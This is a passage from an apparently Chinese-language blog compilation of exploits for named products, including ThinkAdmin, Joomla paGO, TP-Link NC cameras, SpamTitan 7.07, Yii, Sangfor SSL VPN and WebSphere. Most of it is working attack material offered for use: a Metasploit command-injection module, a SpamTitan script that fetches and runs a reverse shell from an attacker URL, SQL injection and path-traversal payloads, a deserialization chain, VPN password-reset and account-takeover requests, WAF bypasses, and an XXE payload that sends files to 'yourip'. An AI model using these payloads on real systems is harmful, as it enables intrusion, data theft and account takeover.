http://%s%s" % (target, path)) session = get_session(target, path, user, pswd) print("(+) obtained session %s" % session) set_pref(target, path, session, 'sortpref', get_pop()) print("(+) inserted our php object") print("(+) triggering deserialization...") trigger_deserialization(target, path, session, host, port) set_pref(target, path, session, 'sortpref', get_patch()) print("(+) repaired the target!") if __name__ == "__main__": main()

07.泛微云桥任意文件读取升级玩法

1、简单说说昨天泛微云桥的报告,输入文件路径->读取文件内容,我们读了一下代码后发现这还能读取文件目录。

2、参数不填写绝对路径写进文本内容就是当前的目录,产生了一个新的漏洞 “目录遍历”

/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///D:/&fileExt=txt

3、目录遍历+文件读取,我们能做的事情就很多了,比如读取管理员在桌面留下的密码文件、数据库配置文件、nginx代理配置、访问日志、D盘迅雷下载。

d://ebridge//tomcat//webapps//ROOT//WEB-INF//classes//init.propertiesd:/OA/tomcat8/webapps/OAMS/WEB-INF/classes/dbconfig.properties 泛微OA数据库

08.某讯云WAF中修改XFF头会导致IP封禁策略失效

攻击者真实IP被封禁的情况下,还是可以通过修改XFF头后继续对网站进行访问,即IP封禁措施会无效。

09.ThinkAdmin v6 未授权列目录/任意文件读取

参考:https://github.com/zoujingli/ThinkAdmin/issues/244

任意文件读取exp:http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/nodePOST:rules=["/"]也可以使用../来进行目录穿越:rules=["../../../"]

有一个允许的列表:configpublic/staticpublic/router.phppublic/index.phpapp/adminapp/wechat也就是说$name必须要不是database.php且要在允许列表内的文件才能够被读取,先绕过安全列表的限制,比如读取根目录的1.txt,只需要传入:public/static/../../1.txt而database.php的限制在Linux下应该是没办法绕过的,但是在Windows下可以透过"来替换.,也就是传入:public/static/../../config/database"php对应encode()后的结果为:34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34

10.Joomla! paGO Commerce 2.5.9.0 存在SQL 注入

POST /joomla/administrator/index.php?option=com_pago&view=comments HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 163Origin: http://localhostConnection: closeReferer: http://localhost/joomla/administrator/index.php?option=com_pago&view=commentsCookie: 4bde113dfc9bf88a13de3b5b9eabe495=sp6rp5mqnihh2i323r57cvesoe; crisp-client%2Fsession%2F0ac26dbb-4c2f-490e-88b2-7292834ac0e9=session_a9697dd7-152d-4b1f-a324-3add3619b1e1Upgrade-Insecure-Requests: 1filter_search=&limit=10&filter_published=1&task=&controller=comments&boxchecked=0&filter_order=id&filter_order_Dir=desc&5a672ab408523f68032b7bdcd7d4bb5c=1

Sqlmap poc

sqlmap -r pago --dbs --risk=3 --level=5 --random-agent -p filter_published

11.某盟waf封禁绕过

XFF伪造字段地址为127.0.0.1,导致waf上看不见攻击者地址

12.Typesetter CMS任意文件上传

参考:https://github.com/Typesetter/Typesetter/issues/674

13.CLTPHP存在任意文件删除漏洞

/app/admin/controller/Database.php 第221-248行:POST: sqlfilename=..\\..\.txt

参数sqlfilename未经任何处理,直接带入unlink函数中删除,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件。

14.UsualToolCMS-8.0 sql注入漏洞

payload:

a_templetex.php?t=open&id=1&paths=templete/index' where id=1 and if(ascii(substring(user(),1,1))>0,sleep(5),1)--+

15.TP-Link云摄像头NCXXX系列存在命令注入漏洞

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'TP-Link Cloud Cameras NCXXX Bonjour Command Injection', 'Description' => %q{ TP-Link cloud cameras NCXXX series (NC200, NC210, NC220, NC230, NC250, NC260, NC450) are vulnerable to an authenticated command injection. In all devices except NC210, despite a check on the name length in swSystemSetProductAliasCheck, no other checks are in place in order to prevent shell metacharacters from being introduced. The system name would then be used in swBonjourStartHTTP as part of a shell command where arbitrary commands could be injected and executed as root. NC210 devices cannot be exploited directly via /setsysname.cgi due to proper input validation. NC210 devices are still vulnerable since swBonjourStartHTTP did not perform any validation when reading the alias name from the configuration file. The configuration file can be written, and code execution can be achieved by combining this issue with CVE-2020-12110. }, 'Author' => ['Pietro Oliva <pietroliva[at]gmail.com>'], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12109' ], [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-12109' ], [ 'URL', 'https://seclists.org/fulldisclosure/2020/May/2' ], [ 'CVE', '2020-12109'] ], 'DisclosureDate' => '2020-04-29', 'Platform' => 'linux', 'Arch' => ARCH_MIPSLE, 'Targets' => [ [ 'TP-Link NC200, NC220, NC230, NC250', { 'Arch' => ARCH_MIPSLE, 'Platform' => 'linux', 'CmdStagerFlavor' => [ 'wget' ] } ], [ 'TP-Link NC260, NC450', { 'Arch' => ARCH_MIPSLE, 'Platform' => 'linux', 'CmdStagerFlavor' => [ 'wget' ], 'DefaultOptions' => { 'SSL' => true } } ] ], 'DefaultTarget' => 0 ) ) register_options( [ OptString.new('USERNAME', [ true, 'The web interface username', 'admin' ]), OptString.new('PASSWORD', [ true, 'The web interface password for the specified username', 'admin' ]) ] ) end def login user = datastore['USERNAME'] pass = Base64.strict_encode64(datastore['PASSWORD']) if target.name == 'TP-Link NC260, NC450' pass = Rex::Text.md5(pass) end print_status("Authenticating with #{user}:#{pass} ...") begin res = send_request_cgi({ 'uri' => '/login.fcgi', 'method' => 'POST', 'vars_post' => { 'Username' => user, 'Password' => pass } }) if res.nil? || res.code == 404 fail_with(Failure::NoAccess, '/login.fcgi did not reply correctly. Wrong target ip?') end if res.body =~ /\"errorCode\"\:0/ && res.headers.key?('Set-Cookie') && res.body =~ /token/ print_good("Logged-in as #{user}") @cookie = res.get_cookies.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/)[0][1] print_good("Got cookie: #{@cookie}") @token = res.body.scan(/"(token)":"([^,"]*)"/)[0][1] print_good("Got token: #{@token}") else fail_with(Failure::NoAccess, "Login failed with #{user}:#{pass}") end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, 'Connection failed') end end def enable_bonjour res = send_request_cgi({ 'uri' => '/setbonjoursetting.fcgi', 'method' => 'POST', 'encode_params' => false, 'cookie' => "sess=#{@cookie}", 'vars_post' => { 'bonjourState' => '1', 'token' => @token.to_s } }) return res rescue ::Rex::ConnectionError vprint_error("Failed connection to the web server at #{rhost}:#{rport}") return nil end def sys_name(cmd) res = send_request_cgi({ 'uri' => '/setsysname.fcgi', 'method' => 'POST', 'encode_params' => true, 'cookie' => "sess=#{@cookie}", 'vars_post' => { 'sysname' => cmd, 'token' => @token.to_s } }) return res rescue ::Rex::ConnectionError vprint_error("Failed connection to the web server at #{rhost}:#{rport}") return nil end def execute_command(cmd, _opts = {}) print_status("Executing command: #{cmd}") sys_name("$(#{cmd})") end def exploit login # Get cookie and csrf token enable_bonjour # Enable bonjour service execute_cmdstager # Upload and execute payload sys_name('NC200') # Set back an innocent-looking device name endend

16.SpamTitan 7.07多个RCE漏洞

III. PoC~~~~~~~Use python 3 and install the following modules before executing: requests.If your IP is 192.168.1.5 and the target SpamTitan server isspamtitan.example.com, call the PoC like this:./multirce.py -t spamtitan.example.com -i 192.168.1.5 -m <EXPLOITNUMBER> -u <USER> -p <PASSWORD> -U http://192.168.1.5/rev.py---------------------------------------------#!/usr/bin/env python# Author: Felipe Molina (@felmoltor)# Date: 09/04/2020# Python Version: 3.7# Summary: This is PoC for multiple authenticated RCE and Arbitrary File Read# 0days on SpamTitan 7.07 and previous versions.# Product URL: https://www.spamtitan.com/# Product Version: 7.07 and probably previousimport requestsfrom requests import Timeoutrequests.packages.urllib3.disable_warnings()import osimport threadingfrom optparse import OptionParserimport socketimport jsonimport refrom urllib.parse import urlparsefrom time import sleepfrom base64 import b64decode,b64encodedef myip(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: # doesn't even have to be reachable s.connect(('10.255.255.255', 1)) IP = s.getsockname()[0] except: IP = '127.0.0.1' finally: s.close() return IPdef shellServer(ip,port,quiet): servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM) servers.bind((ip, port)) servers.listen(1) info("Waiting for incoming connection on %s:%s" % (ip,port)) conn, addr = servers.accept() conn.settimeout(1) success("Hurray, we got a connection from %s" % addr[0]) prompt =conn.recv(128) prompt=str(prompt.decode("utf-8")).strip() command = input(prompt) while True: try: c = "%s\n" % (command) if (len(c)>0): conn.sendall(c.encode("utf-8")) # Quit the console if command == 'exit': info("\nClosing connection") conn.close() break else: completeanswer="" while True: answer=None try: answer=str((conn.recv(1024)).decode("utf-8")) completeanswer+=answer except socket.timeout: completeanswer.strip() break print(completeanswer,end='') command = input("") except (KeyboardInterrupt, EOFError): info("\nClosing connection") break# This is an authenticated remote code execution in "certs-x.php". E.g:def CVE_2020_11699(cookies, target, shellurl): # Giving time to the maim thread to open the reverse shell listener sleep(5) oscmd="/usr/local/bin/wget %s -O /tmp/r.py;/usr/local/bin/python/tmp/r.py" % (shellurl) t1 = "%s/certs.php" % target t2 = "%s/certs-x.php" % target # get the csrf token value res1 = requests.get(t1,cookies=cookies,verify=False) m = re.search("var csrf_token_postdata=.*CSRFName=(.*)&CSRFToken=(.*)\";",res1.text) if (m is not None): csrfguard=m.group(1) csrftoken=m.group(2) data = { "CSRFName":csrfguard, "CSRFToken":csrftoken, "jaction":"deletecert", "fname":"dummy || $(%s)" % oscmd } info("Triggering the reverse shell in the target.") try: res2 = requests.post(t2,data=data,cookies=cookies,verify=False) print(res2.text) except Timeout: info("Request timed-out. You should have received alreadyyour reverse shell.") else: fail("CSRF tokens were not found. POST will fail.")# This is an arbitrary file read on "certs-x.php"def CVE_2020_11700(cookies,target,file): fullpath="../../../..%s" % file t1 = "%s/certs.php" % target t2 = "%s/certs-x.php" % target # get the csrf token value res1 = requests.get(t1,cookies=cookies,verify=False) m = re.search("var csrf_token_postdata=.*CSRFName=(.*)&CSRFToken=(.*)\";",res1.text) if (m is not None): csrfguard=m.group(1) csrftoken=m.group(2) data = { "CSRFName":csrfguard, "CSRFToken":csrftoken, "jaction":"downloadkey", "fname":fullpath, "commonname":"", "organization":"", "organizationunit":"", "city":"", "state":"", "country":"", "csrout":"", "pkout":"", "importcert":"", "importkey":"", "importchain":"" } res2 = requests.post(t2,data=data,cookies=cookies,verify=False) if (res2.status_code == 200): success("Contents of the file %s" % file) print(res2.text) else: fail("Error obtaining the CSRF guard tokens from the page.") return False# This is an authenticated RCE abusing PHP eval function in mailqueue.phpdef CVE_2020_11803(cookies, target, shellurl): # Giving time to the maim thread to open the reverse shell listener sleep(5) oscmd="/usr/local/bin/wget %s -O /tmp/r.py;/usr/local/bin/python/tmp/r.py" % (shellurl) b64=(b64encode(oscmd.encode("utf-8"))).decode("utf-8") payload="gotopage+a+\";$b=\"%s\";shell_exec(base64_decode(urldecode($b)));die();$b=\""% (b64) t1 = "%s/certs.php" % target t2 = "%s/mailqueue.php" % target # get the csrf token value res1 = requests.get(t1,cookies=cookies,verify=False) m = re.search("var csrf_token_postdata=.*CSRFName=(.*)&CSRFToken=(.*)\";",res1.text) if (m is not None): csrfguard=m.group(1) csrftoken=m.group(2) data = { "CSRFName":csrfguard, "CSRFToken":csrftoken, "jaction":payload, "activepage":"incoming", "incoming_count":"0", "active_count":"0", "deferred_count":"0", "hold_count":"0", "corrupt_count":"0", "incoming_page":"1", "active_page":"1", "deferred_page":"1", "hold_page":"1", "corrupt_page":"1", "incomingrfilter":None, "incomingfilter":None, "incoming_option":"hold", "activerfilter":None, "activefilter":None, "active_option":"hold", "deferredrfilter":None, "deferredfilter":None, "deferred_option":"hold", "holdrfilter":None, "holdfilter":None, "hold_option":"release", "corruptrfilter":None, "corruptfilter":None, "corrupt_option":"delete" } # We have to pass a string instead of a dict if we don't wantthe requests library to convert it to # an urlencoded data and break our payload datastr="" cont=0 for k,v in data.items(): datastr+="%s=%s" % (k,v) cont+=1 if (cont<len(data)): datastr+="&" headers={ "User-Agent":"Mozilla/5.0 (Windows NT 10.0; rv:68.0)Gecko/20100101 Firefox/68.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Content-Type": "application/x-www-form-urlencoded" } try: res2 =requests.post(t2,data=datastr,cookies=cookies,headers=headers,verify=False,proxies=proxies) except Timeout: info("Request timed-out. You should have received alreadyyour reverse shell.") else: fail("CSRF tokens were not found. POST will fail.")# This is an authenticated RCE abusing qid GET parameter in mailqueue.phpdef CVE_2020_11804(cookies, target, shellurl): # Giving time to the maim thread to open the reverse shell listener sleep(5) oscmd="/usr/local/bin/wget %s -O /tmp/r.py;/usr/local/bin/python/tmp/r.py" % (shellurl) payload="1;`%s`" % oscmd t = "%s/mailqueue.php?qid=%s" % (target,payload) info("Triggering the reverse shell in the target.") try: res2 = requests.get(t,cookies=cookies,verify=False) except Timeout: info("Request timed-out. You should have received already yourreverse shell.")# Authenticate to the web platform and get the cookiesdef authenticate(target,user,password): loginurl="%s/login.php" % target data={ "jaction":"none", "language":"en_US", "address":"%s" % user, "passwd":"%s" % password } res = requests.post(loginurl, data=data,allow_redirects =False,verify=False) if (res.status_code == 302 and len(res.cookies.items())>0): return res.cookies else: return Nonedef printmsg(msg,quiet=False,msgtype="i"): if (not quiet): if (success): print("[%s] %s" % (msgtype,msg)) else: print("[-] %s" % msg)def info(msg,quiet=False): printmsg(msg,quiet,msgtype="i")def success(msg,quiet=False): printmsg(msg,quiet,msgtype="+")def fail(msg,quiet=False): printmsg(msg,quiet,msgtype="-")def parseoptions(): parser = OptionParser() parser.add_option("-t", "--target", dest="target", help="Target SpamTitan URL to attack. E.g.:https://spamtitan.com/", default=None) parser.add_option("-m", "--method", dest="method", help="Exploit number: (1) CVE-2020-11699 [RCE],(2) CVE-2020-XXXX [RCE], (3) CVE-2020-XXXX2 [RCE], (4) CVE-2020-11700[File Read]", default=1) parser.add_option("-u", "--user", dest="user", help="Username to authenticate with. Default:admin", default="admin") parser.add_option("-p", "--password", dest="password", help="Password to authenticate with. Default:hiadmin", default="hiadmin") parser.add_option("-I", "--ip", dest="ip", help="Local IP where to listen for the reverseshell. Default: %s" % myip(), default=myip()) parser.add_option("-P", "--port", dest="port", help="Local Port where to listen for the reverseshell. Default: 4242", default=4242) parser.add_option("-U", "--URL", dest="shellurl", help="HTTP URL path where the reverse shell islocated. Default: http://%s/rev.py" % myip(),default="http://%s/rev.py" % myip()) parser.add_option("-f", "--filetoread", dest="filtetoread", help="Full path of the file to read from theremote server when executing CVE-2020-11700. Default: /etc/passwd",default="/etc/passwd") parser.add_option("-q", "--quiet", action="store_true", dest="quiet", default=False, help="Shut up script! Just give me the shell.") return parser.parse_args()def main(): (options,arguments) = parseoptions() quiet = options.quiet target = options.target ip = options.ip port = options.port user = options.user password = options.password shellurl = options.shellurl method = int(options.method) rfile = options.filtetoread # Sanitize options if (target is None): fail("Error. Specify a target (-t).") exit(1) else: if (not target.startswith("http://") and nottarget.startswith("https://")): target = "http://%s" % target if (method < 1 or method > 4): fail("Error. Specify a method from 1 to 4:\n (1)CVE-2020-11699 [RCE]\n (2) CVE-2020-XXXX [RCE]\n (3) CVE-2020-XXXX2[RCE]\n (4) CVE-2020-11700 [File Read]") exit(1) # Before doing anything, login cookies = authenticate(target,user,password) if (cookies is not None): success("User logged in successfully.") if (method == 1): info("Exploiting CVE-2020-11699 to get a reverse shell on%s:%s" % (ip,port),quiet) rev_thread = threading.Thread(target=CVE_2020_11699,args=(cookies,target,shellurl)) rev_thread.start() # Open the reverse shell listener in this main thread info("Spawning a reverse shell listener. Wait for it...") shellServer(options.ip,int(options.port),options.quiet) elif (method == 2): info("Exploiting CVE-2020-11803 to get a reverse shell on%s:%s" % (ip,port),quiet) rev_thread = threading.Thread(target=CVE_2020_11803,args=(cookies,target,shellurl)) rev_thread.start() # Open the reverse shell listener in this main thread info("Spawning a reverse shell listener. Wait for it...") shellServer(options.ip,int(options.port),options.quiet) elif (method == 3): info("Exploiting CVE-2020-11804 to get a reverse shell on%s:%s" % (ip,port),quiet) rev_thread = threading.Thread(target=CVE_2020_11804,args=(cookies,target,shellurl)) rev_thread.start() # Open the reverse shell listener in this main thread info("Spawning a reverse shell listener. Wait for it...") shellServer(options.ip,int(options.port),options.quiet) elif (method == 4): info("Reading file '%s' by abusing CVE-2020-11700." % rfile, quiet) CVE_2020_11700(cookies,target,rfile) else: fail("Error authenticating. Are you providing valid credentials?") exit(2) exit(0)main()

17.Yii框架反序列化RCE利用链 exp

<?phpnamespace yii\rest { class Action extends \yii\base\Action { public $checkAccess; } class IndexAction extends Action{ public function __construct($func, $param){ $this->checkAccess = $func; $this->id = $param; } }}namespace yii\web { abstract class MultiFieldSession { public $writeCallback; } class DbSession extends MultiFieldSession{ public function __construct($func, $param){ $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"]; } }}namespace yii\base { class BaseObject { // } class Action { public $id; }}namespace yii\db { use yii\base\BaseObject; class BatchQueryResult extends BaseObject{ private $_dataReader; public function __construct($func, $param){ $this->_dataReader = new \yii\web\DbSession($func, $param); } }}$exp = new \yii\db\BatchQueryResult($func, $param);print(serialize($exp));

18.BSPHP存在未授权访问

该处泄漏的用户名和登陆ip

/admin/index.php?m=admin&c=log&a=table_json&json=get&soso_ok=1&t=user_login_log&page=1&limit=10&bsphptime=1600407394176&soso_id=1&soso=&DESC=0

19.fastadmin最新版前台getshell

上传图片,修改图片数据包为> {php}phpinfo();[/php]记录路径> Public/index/user/_empty?name=../public/upload/xxx.jpg即可getshell

20.某信服SSL VPN任意密码重置

某信服VPN加密算法使用了默认的key,攻击者构利用key构造重置密码数据包从而修改任意用户的密码利用:需要登录账号M7.6.6R1版本默认key为20181118,M7.6.1版本默认key为20100720sangfor_key.py脚本:

from Crypto.Clipher import ARC4from binascii import a2b_hexdef myRC4(data,key):rc41=ARC4.new(key)encrypted=rc41.encrypt(data)return encrypted.encode('hex')def rc4_decrpt_hex(data,key):rc41=ARC4.new(key)return rc41.decrypt(a2b_hex(data))key='20200720'data=r',username=TARGET_USERNAME,ip=127.0.0.1,grpid=1,pripsw=suiyi,newpsw=TARGET_PASSWORD,'print myRC4(data,key)

POC:

https://<PATH>/por/changepwd.csp(post)sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR&len=(sangfor_key.py脚本计算后结果的值)

21.某信服SSL VPN修改任意账户手机号

修改手机号接口未正确鉴权导致越权覆盖任意用户的手机号码

利用:需要登录账号

https://<PATH>/por/changetelnum.csp?apiversion=1(POST)newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1

22.WebSphere XXE POC

具体分析:具体分析在这里https://paper.seebug.org/1342/

xml如下:<!DOCTYPE x [     <!ENTITY % aaa SYSTEM "file:///C:/Windows/win.ini">     <!ENTITY % bbb SYSTEM "http://yourip:8000/xx.dtd">     %bbb; ]> <definitions name="HelloService" xmlns="http://schemas.xmlsoap.org/wsdl/">  &ddd; </definitions> xx.dtd如下:<!ENTITY % ccc '<!ENTITY ddd &#39;<import namespace="uri" location="http://yourip:8000/xxeLog?%aaa;"/>&#39;>'>%ccc;

注意:原文属于公众号编辑,所以代码中最后面会存在多余的 br 字符,自行删除即可.

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注